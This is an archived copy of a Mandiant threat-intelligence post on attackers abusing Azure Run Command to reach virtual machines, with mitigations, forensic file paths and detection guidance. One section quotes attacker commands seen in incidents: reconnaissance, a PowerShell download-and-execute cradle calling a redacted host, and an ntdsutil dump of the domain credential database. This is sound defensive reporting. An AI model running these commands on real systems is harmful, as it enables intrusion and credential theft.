{
	"id": "cc2a7bfd-ef30-4bfe-bfb0-d4e5cad97589",
	"created_at": "2026-04-06T00:06:32.280968Z",
	"updated_at": "2026-04-10T13:13:03.556934Z",
	"deleted_at": null,
	"sha1_hash": "c1ea4839dbe0217968c3986b3b537c93c7646db9",
	"title": "Azure Run Command for Dummies | Mandiant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1633763,
	"plain_text": "Azure Run Command for Dummies | Mandiant\r\nBy Mandiant\r\nPublished: 2021-12-14 · Archived: 2026-04-05 21:14:21 UTC\r\nWritten by: Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri\r\nIn Mandiant’s recent blog post, we detailed suspected Russian intrusion activity that targeted managed services\r\nproviders (MSP) to gain access to their customers’ cloud environments. Other companies, such as Microsoft, have\r\nobserved similarly targeted activity against customers of several cloud and managed service providers.\r\n One\r\nnotable technique from these intrusions is the use of Azure Run Commands to move laterally from managed\r\nhypervisors to the MSP customers’ underlying virtual machines.\r\nThis latest blog post comes as a supplementary annex to highlight Azure Run Commands and provide guidance\r\nfor mitigations, hunting, and detection mainly from the perspective of the virtual machines at risk from this type\r\nof activity. As other blog posts have focused on Azure logs and permissions and what can be learned from these\r\nsources, here we will focus more on what can be learned from the evidence sources inside the virtual machines\r\nthemselves.\r\nThis method of pivoting from Azure to the underlying virtual machines (VMs) is significant for a couple of\r\nreasons:\r\nAn Azure account compromise could result in granting full access to underlying Virtual Machines, even\r\nwhen those systems are segmented on the virtual layer.\r\nRunning commands through Azure means there is an easy route for elevated privilege execution, without\r\nworrying about connectivity and authorization at the virtual layer.\r\nIn most cases, the final goal of the attacker is related to the virtual level and not the hypervisor. For example, an\r\nattacker is likely interested in stealing information residing inside the virtual systems or encrypting the data and\r\nindividual systems themselves. While a hypervisor level compromise may allow attackers to circumvent many\r\nhost-level detection and response mechanisms, there are still opportunities to identify attackers as they pursue\r\ntheir mission objectives.\r\nAzure Run Commands\r\nThe Azure Run Command feature enables administrators to run commands on Azure Windows or Linux virtual\r\nmachines by leveraging the virtual machine agent. The agent is installed by default on Windows and Linux virtual\r\nmachines deployed from an Azure Marketplace image but can be disabled.\r\nAzure Run Commands are well documented on the Microsoft website at the following locations:\r\nRun scripts in your Windows VM by using action Run Commands\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 1 of 13\n\nRun scripts in your Linux VM by using action Run Commands\r\nAzure administrators can run them using the Azure Portal user interface, the API, PowerShell, or the Azure\r\ncommand line interface; each of which will be demonstrated as follows. Each operating system has distinct\r\ncommand types that support arbitrary script execution on virtual machines.\r\nOn Windows, the RunPowerShellScript command executes PowerShell on the virtual machine as the\r\nSYSTEM user.\r\nOn Linux, the RunShellScript command executes a shell script on the virtual machine as the root user.\r\nThese command types must be supplied via the “command-id” parameter when using the Run Command feature.\r\nVia Azure Portal\r\nFigure 1 shows two commands ‘w’ and ‘whoami’ sent to our Linux virtual machine using the Azure Portal web\r\nconsole.\r\nFigure 1: Azure run commands towards a Linux host\r\nVia Azure CLI\r\nAdministrators can execute a PowerShell script by name using the following Azure CLI command.\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 2 of 13\n\naz vm run-command invoke --command-id RunPowerShellScript --name winvm -g\r\nresourcegroup --scripts @myscript.ps1 --parameters \"arg1=firstarg\"\r\nAzure CLI also accepts individual commands, such as in the following example using the Linux VM\r\n“RunShellScript” module.\r\naz vm run-command invoke -g resourcegroup -n linuxvm --command-id RunShellScript --\r\nscripts \"uname -a\"\r\nVia the REST API\r\nThe Azure REST API’s runCommand endpoint accepts HTTP POST requests such as the following, with required\r\nparameters, defined in the POST request body.\r\nhttps://management.azure.com/subscriptions/{subscriptionId}/re\r\nsourceGroups/{resourceGroupName}/providers/Microsoft.Compute/v\r\nirtualMachines/{vmName}/runCommand?api-version=2021-07-01\r\nVia PowerShell Cmdlet\r\nThe Azure PowerShell cmdlet also includes a command for Azure Run Commands. Note that the proper Azure\r\nContext needs to be provided either by running the Connect-AzAccount command or using the -Context parameter.\r\nInvoke-AzVMRunCommand -ResourceGroupName 'resourcegroup' -Name 'winvm' -CommandId\r\n'RunPowerShellScript' -ScriptPath 'myscript.ps1'\r\nInvoke-AzVMRunCommand returns a PSRunCommandResult object with the script results in the “Message” field.\r\nIn Figure 2, the results contain “nt authority\\system”, because the script executed a single whoami command.\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 3 of 13\n\nFigure 2: Azure run commands via PowerShell\r\nMitigations\r\nLimiting Run Command Access\r\nAs documented by Microsoft, executing Run Commands requires the\r\nMicrosoft.Compute/virtualMachines/runCommand/ permission. The Virtual Machine Contributor role and higher\r\nlevels have this permission. The Virtual Machine Contributor role has the ability to manage the virtual machines\r\nbut are not allowed to access the virtual machine, storage account, and virtual network it resides in. Performing\r\nregular Azure permissions audits or limiting the number of users with this permission would reduce the attack\r\nsurface of accounts that can execute Run Commands.\r\nAn organization can perform an audit of the Virtual Machine Contributor role or other high-level roles with the\r\nfollowing PowerShell command.\r\nGet-AzureRmRoleAssignment | ? {$_.RoleDefinitionName -eq 'Virtual Machine\r\nContributor'} | ft RoleDefinitionName, UserPrincipalName, DisplayName\r\nSince we are mainly concerned with the permission that allow for Azure RunCommand usage, the following script\r\nqueries all built-in and custom roles created within Azure that contain the specific RunCommand permission.\r\nimport sys\r\nfrom azure.identity import DefaultAzureCredential\r\nfrom azure.mgmt.authorization import AuthorizationManagementClient\r\nif len(sys.argv) \u003c 2:\r\n print(\"You need to supply the permission to search for\")\r\n sys.exit(1)\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 4 of 13\n\ncredential = DefaultAzureCredential()\r\nclient = AuthorizationManagementClient(\r\n credential=credential,\r\n subscription_id=\"YOUR_SUBSCRIPTION_ID\"\r\n)\r\n \r\ndesired_action = sys.argv[1]\r\ndesired_action_lower = desired_action.lower()\r\ndesired_action_wildcard = \"/\".join(desired_action_lower.split(\"/\")[:-1] + [\"*\"])\r\n \r\nrole_definitions = list(client.role_definitions.list(scope=\"\"))\r\nfor role_def in client.role_definitions.list(scope=\"\"):\r\n for permission in role_def.permissions:\r\n for action in permission.actions:\r\n if action.lower() == desired_action_lower or action.lower() == desired_action_wildcard:\r\n print(f\"Role '{role_def.role_name}' contains {action}\")\r\nAfter an organization has identified all roles that have the ability to execute Run Commands on Virtual Machines,\r\nthen it can use the previous PowerShell script to obtain the individual users or groups that have said permission.\r\nMandiant recommends having regular entitlement reviews of this and other high-risk permissions with Azure.\r\nCreate a Custom Just-in-Time (JIT) Administrative Role for Run Command Permissions\r\nAnother method to mitigate the risk and reducing the attack surface of this potential attack is by creating a Just-in-Time (JIT) administrative role that contains the Run Command permissions needed to perform legitimate run\r\ncommand-like actions on a virtual machine. By creating this custom role, we remove the need for a user to have\r\npersistent Run Command capabilities on Virtual Machines.\r\nThe following sample PowerShell script creates a custom JIT Run Command role for a prescribed subscription\r\nand resource group (Note: Replace the subscriptionid and resourcegroupname with the desired organization’s\r\nsubscription and resource group).\r\n$role = Get-AzRoleDefinition \"Virtual Machine Contributor\"\r\n$role.Id = $null\r\n$role.Name = \"Run Command JIT Permissions\"\r\n$role.Description = \"Can request JIT for Run Command actions on virtual machines.\"\r\n$role.Actions.Clear()\r\n$role.Actions.Add(\"Microsoft.Compute/virtualMachines/runCommand/*\")\r\n$role.AssignableScopes.Clear()\r\n$role.AssignableScopes.Add(\"/subscriptions/{subscriptionid}/resourceGroups/{resourcegroupname}/\")\r\nNew-AzRoleDefinition -Role $role\r\n \r\n$scope=\"/subscriptions/{subscriptionid}/resourceGroups/{resourcegroupname}/\"\r\nNew-AzRoleAssignment -ObjectId {AD Group Object Id} -RoleDefinitionName \"JIT Virtual Machine Run Command Role\"\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 5 of 13\n\nAfter the custom JIT role has been made, Mandiant recommends assigning the JIT Role to a newly created Azure\r\nAD Group, and then managing the access to the newly created group using Azure Privileged Identity Management\r\n(PIM).\r\nRemoving the VM agent\r\nThe most basic task that can be performed to mitigate this functionality is to remove the agent from the underlying\r\nVM, however, this may have serious consequences to how the virtual machine is administrated.\r\nAlso, it is important to note that by doing so, you are not removing the attacker’s access to the hypervisor level,\r\nand they may have other means to steal your data or compromise hosts.\r\nBy removing the agent, you are also removing the main means that you can leverage for detecting this feature\r\nbeing used on your virtual machines. For example, if an attacker runs a command from the Azure CLI, you can\r\ndetect this with proper detections in place. But if the attacker creates a snapshot of your system, this will be\r\nundetected. Therefore, it is critical to perform risk analysis to determine how to best proceed. Removing the agent\r\nentirely would eliminate a potential vector for the adversary to abuse but would also push the attacker away from\r\nyour line of sight.\r\nThe references at the following locations provide commands to remove the Windows and Linux agents:\r\nTroubleshooting Windows Azure Guest Agent\r\nDisable or remove the Linux Agent from VMs and images\r\nMalicious Run Command Usage in the Wild\r\nMandiant has directly observed commands such as the following while conducting incident response\r\ninvestigations. These commands were executed in several different scripts and showcase an almost full chain of\r\nactivity from reconnaissance to malicious code execution and credential harvesting.\r\n#Reconnaissance\r\nGet-Process\r\nGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct\r\n(Get-Aduser -Filter *).Count\r\n(Get-Aduser -Filter *)[500]\r\nGet-MpComputerStatus\r\nGet-AdDomainController -Discover\r\ncmd /c whoami; ls C:\\\r\nls \"C:\\Program Files\"\r\nGet-Process | Select -First 25\r\n \r\n#Code Execution\r\nC:\\Windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe -C \"iex((New-Object system.net.webclient).downloadstri\r\nWrite-Host (New-Object System.Net.WebClient).DownloadString(\"http://\u003credacted\u003e.com\")\r\n \r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 6 of 13\n\n#Credential Harvesting\r\nntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\\Temp\\t' q q\r\nAs we can see from the aforementioned examples, while Run Command usage may be relatively novel, the\r\ncommands being executed represent known attacker techniques and methodologies. This means traditional\r\ndetection logic for suspicious commands will still be valid, but these mechanisms can be augmented with the\r\ncontext that they were executed using the Run Command feature.\r\nDetection and Hunting\r\nForensic Artifacts and File Paths\r\nDetection and Hunting on the affected virtual machines should use a combination of forensic artifacts and logs\r\nand differ between Windows and Linux virtual machines.\r\nWindows Virtual Machines\r\nOn Windows, the use of the RunPowerShellScript functionality will create related PowerShell logs depending on\r\nyour logging policy. As such, any typical rules written for malicious activity leveraging these logs or process will\r\nprovide alerts as normal. For additional resources on generic PowerShell logging, see the Mandiant post, “Greater\r\nVisibility Through PowerShell Logging”.\r\nHowever, in our testing of a default Azure setup, the Azure Activity Log showed that Run Command functionality\r\nwas used but did not log the contents of the actual script being pushed to the virtual machine for execution. This\r\nmeans that by default logs will show that a Run Command action was performed but not the commands executed\r\nwithin the script.\r\nOn Windows virtual machines, the PowerShell scripts are downloaded to the following directory, where the\r\n\u003cversion number\u003e varies and the \u003cjob number\u003e is incremented starting at 0:\r\nC:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows\\\u003cversion number\u003e\\Downloads\\script\u003cjob number\u003e.ps1.\r\nFigure 3: Contents of the file script0.ps1\r\nResults for Run Command jobs are stored in a status file, with the following path/naming convention:\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 7 of 13\n\nC:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows\\\u003cversion number\u003e\\Status\r\n\\\u003cjob number\u003e.status.\r\nFigure 4: Directory listing showing output files from run-commands\r\nFigure 5 shows the contents of a status file for a successful script execution with the various script outputs logged\r\nin JSON format. These have valuable additional forensic information such as the execution timestamp.\r\nFigure 5: Contents of a standard log file showing the output and metadata of a \"whoami\" command\r\nLinux Virtual Machines\r\nOn Linux, Azure Run Command creates a directory per job in: /var/lib/waagent/run-command/download/. Each\r\njob directory contains three files: script.sh, stderr, and stdout.\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 8 of 13\n\nFigure 6: Contents of the /var/lib/waagent/run-command/download directory\r\nThe file script.sh contains the command executed on the host; stderr contains the standard error; and stdout\r\ncontains the result.\r\nFigure 7: Contents of script.sh and stdout files\r\nThese output files have less metadata than their Windows counterpart, but additional details are recorded in the\r\nfollowing location: /var/log/azure/run-command/handler.log. This log includes basic metadata such as the\r\ndate/time of run command executions, but it does not include the script contents or results.\r\nFigure 8: Sample contents of /var/log/azure/run-command/handler.log\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 9 of 13\n\nCommands that failed will also be logged in this file, such as the excerpt shown in Figure 9.\r\nFigure 9: Sample contents of /var/log/azure/run-command/handler.log\r\nIdentifying Process Anomalies\r\nWindows Virtual Machines\r\nRunPowerShellScript activity creates a very distinct process tree under the WindowsAzureGuestAgent.exe\r\nprocess. Figure 10 shows the processes created after execution of whoami using RunPowerShellScript.\r\nFigure 10: Process tree under WindowsAzureGuestAgent.exe as an execution of \"whoami\" is performed\r\nWith the parent/child relationship detection, engineers can create rules to detect commands, which may not be\r\nsuspicious on their own, but would rarely be run through the aforementioned process tree. For example,\r\nwhoami.exe may be common and benign in most cases, but suspicious if launched as a child of powershell -\r\nExecutionPolicy Unrestricted -File script.ps1, which would indicate potential reconnaissance. Commands with\r\ncommonly malicious usage, such as ntdsutil.exe, should be of high concern if seen as a child process of\r\nWindowsAzureGuestAgent.exe.\r\nIf any usage of RunPowerShellScript is suspicious in your organization, you can monitor any sub-processes of\r\nWindowsAzureGuestAgent and whitelist commands as needed for legitimate management activity.\r\nIn addition to process anomalies, you can monitor file creation/modification events in the directories used by\r\nAzure Run Commands. If your monitoring solution logs the full file content for these events, it will show the\r\nactual commands being executed which can also be reviewed for malicious commands or anomalous usage.\r\nLinux Virtual Machines\r\nOn Linux, Azure run commands can be detected by looking for command lines such as the following:\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 10 of 13\n\nnohup /var/lib/waagent/Microsoft.CPlat.Core.RunCommandLinux-1.0.2/bin/run-command-extension enable\r\nFurthermore, parent-child relationships can be used to hunt for suspicious processes that have a parent process\r\ncommand line following this syntax:\r\n/bin/sh -c /var/lib/waagent/run-command/download/3/script.sh\r\nSimilar to Windows, file monitoring solutions can be used to trigger alerts on file creations in the\r\n/var/lib/waagent/run-command/download directory, and match suspicious content if this is feasible.\r\nAzure-Level Detection and Hunting\r\nIn the Azure Portal, the Activity Logs for each VM will capture Azure Run Command executions. Azure Activity\r\nLogs can be found in numerous locations, depending on the environment, including but not limited to an Azure\r\nSentinel instance, Microsoft Defender Advanced Hunting, a Log Analytics Workspace, or on the VM Azure Portal\r\npage itself.\r\nThe following is an example alert for a Run Command action. This log shows that the “runCommand” for the\r\nvirtual machine named testvm (1) was actioned and successfully executed via the user@contoso[.]com (2) account\r\nfrom IP address 127.0.0[.]1 (3).\r\n{\r\n \"authorization\": {\r\n \"action\": \"Microsoft.Compute/virtualMachines/runCommand/\",\r\n },\r\n(2) \"caller\": \"user@contoso.com\",\r\n \"claims\": {\r\n(3) \"ipaddr\": \"127.0.0.1\"\r\n},\r\n \"category\": {\r\n \"value\": \"Administrative\",\r\n \"localizedValue\": \"Administrative\"\r\n },\r\n \"eventTimestamp\": \"2021-10-28T20:25:33.5505986Z\",\r\n \"operationName\": {\r\n \"value\": \"Microsoft.Compute/virtualMachines/runCommand/\",\r\n \"localizedValue\": \"Run Command on Virtual Machine\"\r\n },\r\n \"resourceProviderName\": {\r\n \"value\": \"Microsoft.Compute\",\r\n \"localizedValue\": \"Microsoft.Compute\"\r\n },\r\n \"resourceType\": {\r\n \"value\": \"Microsoft.Compute/virtualMachines\",\r\n \"localizedValue\": \"Microsoft.Compute/virtualMachines\"\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 11 of 13\n\n},\r\n(1) \"resourceId\": \"/subscriptions/6d356a32-8ac0-4541-b958-3304b11b7447/resourceGroups/[resourcegroupname]/provid\r\n \"status\": {\r\n \"value\": \"Succeeded\",\r\n \"localizedValue\": \"Succeeded\"\r\n }\r\n}\r\nUnfortunately, Activity Logs do not include the command that was executed which would be required for further\r\ninvestigation. Regardless, these logs can be helpful to create baselines of expected Run Command usage in an\r\nenvironment to find anomalous and suspicious activity.\r\nThe goal of this blog post was to focus especially on the virtual machine side of this activity, and  Microsoft has\r\nalready provided excellent guidance on hunting for suspicious Azure Run Commands in your tenant.\r\nConclusion\r\nAs shown in our recent post, hypervisor level compromises afford threat actors with many opportunities for\r\nrapidly and stealthily exploiting hosted systems and applications. In this blog post, we discussed how one such\r\nmethod, Azure Run Command, is being leveraged by attackers and how defenders can hunt for, detect, and\r\nmitigate malicious usage of it.\r\nHypervisor compromises yield a high level of access to hosted systems and data, which are commonly an\r\nattacker’s primary objective in an intrusion. This evolution of intrusion methodology requires a thorough\r\nunderstanding of built-in cloud asset management functionality that can be abused by attackers. More importantly,\r\nthis activity reinforces the need for comprehensive visibility and a vigilance for anomalous activity within\r\nenvironments.\r\nMITRE ATT\u0026CK\r\nAbusing the hypervisor to virtual machine interaction via Azure Run Commands can lead to full lifecycle\r\nadversary interaction including all stages of ATT\u0026CK. However, the ATT\u0026CK Tactics and Techniques observed\r\ninclude but are not limited to:\r\nInitial Access                       External Remote Services (T1133)\r\nInitial Access                       Valid Accounts (T1078)\r\nExecution                            Command and Scripting Interpreter (T1059)\r\nPersistence                         External Remote Services (T1133)\r\nPersistence                         Valid Accounts (T1078)\r\nPrivilege Escalation            Valid Accounts (T1078)\r\nDefense Evasion (TA0005)\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 12 of 13\n\nAcknowledgments\r\nThe authors would like to thank Alyssa Rahman and Matthew Dunwoody for their valuable feedback and\r\ntechnical review.\r\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: https://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nhttps://www.mandiant.com/resources/blog/azure-run-command-dummies\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.mandiant.com/resources/blog/azure-run-command-dummies"
	],
	"report_names": [
		"azure-run-command-dummies"
	],
	"threat_actors": [
		{
			"id": "2864e40a-f233-4618-ac61-b03760a41cbb",
			"created_at": "2023-12-01T02:02:34.272108Z",
			"updated_at": "2026-04-10T02:00:04.97558Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "ETDA:WildCard",
			"tools": [
				"RustDown",
				"SysJoker"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "256a6a2d-e8a2-4497-b399-628a7fad4b3e",
			"created_at": "2023-11-30T02:00:07.299845Z",
			"updated_at": "2026-04-10T02:00:03.484788Z",
			"deleted_at": null,
			"main_name": "WildCard",
			"aliases": [],
			"source_name": "MISPGALAXY:WildCard",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775433992,
	"ts_updated_at": 1775826783,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c1ea4839dbe0217968c3986b3b537c93c7646db9.pdf",
		"text": "https://archive.orkl.eu/c1ea4839dbe0217968c3986b3b537c93c7646db9.txt",
		"img": "https://archive.orkl.eu/c1ea4839dbe0217968c3986b3b537c93c7646db9.jpg"
	}
}